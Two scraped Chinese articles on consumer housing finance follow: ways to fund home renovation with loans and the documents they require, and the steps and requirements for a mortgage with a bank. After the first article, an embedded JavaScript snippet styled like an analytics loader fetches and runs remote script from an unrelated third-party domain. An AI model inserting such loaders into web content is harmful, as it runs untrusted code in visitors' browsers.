办理装修贷款都需要注意些什么

很多家庭在买房之后，经济上就显得不太宽裕，在装修上就可能显得捉襟见肘，越来越多家庭开始使用贷款的方式来解决装修费用问题。那么在办理装修贷款都需要注意什么，本文将从办理方式和所需材料两方面来介绍。一、办理装修贷款的方式可以通过刷信用卡，并且无需担保。但这样就会使得装修公司的选择有限，只能选择与银行有合作的装修公司。还可以申请抵押贷款，其优点是申请费用和利率都较低，比正常贷款更具成本效益。但按揭贷款需要提供抵押物，也就有必要进行审查，该过程会较为复杂。第三种方法是去金融公司申请贷款，申请过程简单方便，因为越来越多的装饰公司开始与金融公司展开合作，也就使得可供消费者选择的装修公司越来越多。但这种方式的缺点是中介费用较高。最后一种办理装修贷款的常用方式是将公积金用来装修，这种方式的最大好处是省钱。利率相对较低，最经济。它的缺点是贷款额度有限。二、办理装修贷款所需材料当贷款人办理装修贷款时，通常要使用有效的身份证，居民委员会签发的居留证或者是永久居留证，单位开的工作证名和个人收入证明，还要提供稳定的还款记录来证明贷款者是否有能力偿还贷款，必要时需要房产证或其复印件，银行的存款证明，以及其他纳税表格来证明信誉水平。在办理某些银行或金融公司贷款时还要提供装修公司营业执照，资质证书复印件等，以确定该公司是否在银行或金融公司的指定范围内，才可以获得银行和金融机构的认可。以上就是办理装修贷款所要注意的内容。希望对于大家办理装修贷款有一定的帮助，在需要的时候都可以顺利地办理装修贷款。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

按揭买房需要什么手续 个人住房贷款流程是什么

对于首次贷款买房的人而言，首先就是要恶补贷款买房的有关知识，这样才不会被坑。最近房地产市场又火热了起来，很多地方房地产的价格都在上涨，很多观望的人也都开始蠢蠢欲动准备买房。买房子是一件需要极大的耐心与时间的事情，尤其是对于刚需购房者来说更是如此，对于按揭买房需要什么手续，我们是一定要知道的。那么，按揭买房需要什么手续?按揭买房需要什么手续借款人的基本条件:1、年龄满18周岁地具有完全民事行为;2、具有稳定得职业以及收入;3、已经和开发商签订《商品房销(预)售合同》;4、已经支付所购房的全部价款20%以上的首付款;5、借款人和财产共有人愿意以所购房抵押并办理抵押登记和财产保险。借款人的需提供材料:1、本人及配偶的有效身份证明(身份证、户口簿或其他有效居住证明)，个体经营者要提供营业执照(验原件、留复印件);2、借款人婚姻状况证明(结婚证或单身证明);3、外地、外籍或单身，要由有本地户口的人做担保;4、借款人及配偶收入和财产证明;5、购房合同和首付款收据;6、财产共有人抵押承诺书;7、银行住房按揭贷款申请审批表。贷款额度以及期限:1、贷款额度最高不超过所购房产全部价款的80%，商业网点最高不超过60%;2、贷款期限加借款人年龄不超过法定退休年龄，最长不超过30年。个人住房贷款流程1、需要提供咨询、受理申请、贷前调查(1)需要提供咨询经办人向客户提供咨询服务，咨询内容包括:已开办的个人信房贷款种类，对象、条件、额度、期限、利率，还款方式等情况。(2)需要受理申请。借款人在向建设银行咨询后，根据要求填写《中国建设银行浙江省分行个人住房贷款申请书》提出贷款申请，并提供以下资料:身份证，抵押人夫妻关系证明(单身需提供有效证明，借款人收入证明，购房合同，首付款凭证，保证人同意担保的书面证明及建设银行要求提供的其他有关资料。(3)需要贷前调查。经办人受理借款申请后，对借款申请人递交的《申请书》和要求提供的资料的完整性，真实性、有效性和合法性进行调查。通过贷前调查，认为符合贷款条件，准备报批。2、需要贷款审批(1)需要经办行审批权限内经办行信贷人员——信贷部门负责人——经办行负责人(2)需要经办行审批权限以外经办行审批同意——报上级行信贷审批机构审批经办人员经调查后，在《中国建设银行个人住房贷款审批表》写明情况并写出审查意见，并将贷款审批表及审批材料交信贷部门负责人，信贷部门负责人在审批表上签署审批意见并交支行分管行长在审批表上鉴署审批意见。超过支行审批权限的，经支行签署审批意见后交上级行信贷审批机构审批。了解了买房的步骤，在买房时就不会手忙脚乱，可以按照买房的顺序，在每一步都了解一下注意事项，以免在买房的过程中出现不必要的损失。今天小编给大家介绍的按揭买房需要什么手续就这么多了，相信大家对按揭买房需要什么手续有了一定的了解，其实多多学习相关的知识对于我们是很有帮助的，希望我的介绍可以帮助到读者朋友。